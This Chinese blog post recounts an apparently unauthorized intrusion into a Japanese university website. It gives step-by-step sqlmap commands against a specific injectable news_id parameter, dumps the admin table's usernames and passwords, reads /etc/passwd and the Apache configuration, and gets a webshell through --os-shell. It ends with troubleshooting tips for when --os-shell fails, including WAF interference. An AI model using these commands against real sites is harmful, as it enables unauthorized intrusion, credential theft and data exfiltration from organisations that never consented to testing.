天天看点

记一次渗透日本某大学实战案例

0x01 前言

这个案例记录的是2013年给基佬@宝哥看的一个日本大学项目站点,当时没有去细看只拿到了一个旁站权限,过了几天后他给我留言说已经拿下目标站了,叫他发我还不愿意了,不过他忘了以前给我发过,^_^,只好去QQ上翻了下聊天记录,然后就记录下了这次渗透过程。

基本信息探测:

  • 目标站点:http://icfcs.******-u.ac.jp
  • 服务器IP:210.***.***.76(日本)
  • 环境平台:PHP/5.1.6 + MySQL5
  • 服务器系统:Apache/2.2.3(Red Hat)

0x02 实战测试过程

网站首页随便打开一个链接,手工测试下是否存在注入漏洞?'单引号直接报错了,但是手工测试and 1=1正常,and 1=2也正常,至于为什么返回结果都是正常的我也没找到原因,因个人技术问题手工注入玩不下去了,直接用sqlmap测试一下,根据返回结果可以确定是可以注入的。

(1) 列出所有数据库名

sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 --dbms "mysql" --dbs      

(2) 列出当前数据库名

sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 --dbms "mysql" --current-db      

(3) 列出当前数据库用户

sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 --dbms "mysql" --current-user      

(4) 列出icfcs数据库的表名

sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 --dbms "mysql" -D "icfcs" --tables      

(5) 列出icfcs数据库admin表中的列名

sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 --dbms "mysql" -D "icfcs" -T "admin" --columns      

(6) 列出icfcs数据库admin表中的admin_id,admin_pw字段内容

sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 --dbms "mysql" -D "icfcs" -T "admin" --C "admin_id,admin_pw" --dump      
记一次渗透日本某大学实战案例

通过这个注入漏洞已经成功跑出了网站管理员的帐号、密码,后台目录就是admin,进入后台发现只有3个栏目,只找到一个上传点和fckeditor编辑器,但是都做了限制,我知道的思路基本都试过了,无法利用这个网站后台直接拿到Webshell。

抽根烟休息了会,经过一段时间的测试发现admin-icfcs@localhost这个数据库用户既然具备root用户所拥有的权限,也就是DBA,直接使用sqlmap工具以跨库查询和读取文件两种方式来验证一下。

(1) 跨库查询

sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 -D "eccube" --tables      

(2) 读取文件

sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 --file-read "/etc/passwd"      

既然我们知道了admin-icfcs@localhost具备root用户的权限,那么我们就可以直接利用这个注入点来导出Webshell了,但是需要满足以下一些必备条件。

  • Root数据库用户:admin-icfcs@localhost
  • magic_quotes_gpc:Off(关闭)
  • 绝对路径:/home/icfcs.******-u.ac.jp/public_html/
  • root用户权限下一般都具有load_file读取和into oufile写入权限

(1) sqlmap --file-read获取网站绝对路径

sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 --file-read "/etc/httpd/conf/httpd.conf"      
记一次渗透日本某大学实战案例

使用sqlmap工具中的--file-read参数读取Apache默认配置文件:/etc/httpd/conf/httpd.conf,读取后的文件会保存在以下路径,通过这个配置文件可以找到网站的绝对路径。

/pentest/database/sqlmap/output/icfcs.******-u.ac.jp/files/etc/httpd/conf/httpd.conf      
记一次渗透日本某大学实战案例

(2) sqlmap --os-shell获取网站Webshell权限

sqlmap.py -u http://icfcs.******-u.ac.jp/news/detail.php?news_id=66 --os-shell      
记一次渗透日本某大学实战案例

所噶,在这里基本上可以说是已经拿下了,来看一下使用sqlmap --os-shell参数上传的一个临时上传文件,文件名都是以随机命名生成,接着我们就可以自己再去传一个一句话或大马上去进行提权,由于基佬说他们已经拿到了所需要的数据,所以我也就没有再继续提权了。

记一次渗透日本某大学实战案例
记一次渗透日本某大学实战案例

0x03 os-shell常见问题

确定当前注入点为root或sa,也得到了目标网站的绝对路径,这时可以尝试使用sqlmap中的--os-shell参数直接写入Webshell,但这并不表示一定能成功的!

当写不进去Webshell时先检查root或sa是否被降权?如果确定没有,那就再去检查一下绝对路径是否正确,或者当前用户是否有这个路径的可写权限? --os-shell失败的一些常见问题如下。

  • 当前注入点不支持堆叠查询(union select);
  • os-shell时没有绝对路径盘符,需要手动添加;
  • xp_cmdshell等组件被禁用或删除时无法利用;
  • 程序代码过滤union/select/load_file()时无法利用;
  • 主机上存在WAF时无法利用,如:云锁、安全狗等;
  • ......等等原因!

真正要想找到问题出在哪?个人建议还是使用sqlmap中的--proxy参数结合Burpsuite抓取--os-shell的数据包去看一下,曾经遇到过的WAF、过滤和盘符等问题都是通过这种方式找到原因的!

sqlmap.py -u "http://icfcs.******-u.ac.jp/news/detail.php?news_id=66" --os-shell --proxy=http://127.0.0.1:8080